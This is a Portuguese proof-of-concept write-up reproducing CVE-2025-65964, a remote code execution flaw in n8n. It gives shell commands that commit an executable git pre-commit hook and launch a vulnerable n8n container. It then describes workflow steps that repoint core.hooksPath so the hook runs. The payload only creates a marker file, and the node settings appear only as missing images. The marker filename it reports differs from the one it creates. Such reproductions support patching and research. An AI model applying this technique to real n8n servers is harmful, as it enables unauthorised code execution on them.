
CVE-2025-65964 Reprodução
Primeiro, prepare um repositório contendo um arquivo malicioso
mkdir n8n-rce-poc && cd n8n-rce-poc
git init
git remote add origin <仓库地址>
mkdir evil_hooks
echo '#!/bin/sh' > evil_hooks/pre-commit
echo 'touch /tmp/pwned_success' >> evil_hooks/pre-commit
chmod +x evil_hooks/pre-commit
git add evil_hooks/pre-commit
git update-index --chmod=+x evil_hooks/pre-commit
git commit -m "Add malicious hook"
git branch -M main
git push -u origin main
Em seguida, execute localmente um docker do n8n em uma versão vulnerável. A abrangência desta vulnerabilidade é grande: 0.123.1 ≤ n8n < 1.119.2 são afetados. Aqui usaremos a versão 1.64.3.
docker run -it --rm \
--name n8n \
-p 5678:5678 \
n8nio/n8n:1.64.3
Primeiramente, o fluxo de ataque completo para a versão 1.64.3 é o seguinte:
A configuração dos parâmetros é mostrada na imagem:
Este nó e o próximo existem porque o git só permite o Commit quando há alterações nos arquivos; portanto, precisamos primeiro gravar um arquivo qualquer no repositório.
A configuração dos parâmetros é mostrada na imagem:
Grava o arquivo no repositório.
A configuração dos parâmetros é mostrada na imagem:
Esses dois nós existem porque o commit exige email e username; basta inventar os dois.
A configuração dos parâmetros é mostrada na imagem:
Etapa principal: aponta core.hooksPath para o diretório malicioso que baixamos, forçando o git a procurar na pasta especificada ao executar o hook (o padrão é .git/hooks).
(Na minha opinião, isso é da mesma categoria de sequestrar o LD_PRELOAD.)
A configuração dos parâmetros é mostrada na imagem:
Esta etapa é usada para acionar a vulnerabilidade e executar o hook adulterado.
A configuração dos parâmetros é mostrada na imagem:
Depois de configurar esses nós, basta executar o workflow.
Em seguida, no docker, observe que o arquivo malicioso pwned_without_exec_node foi criado.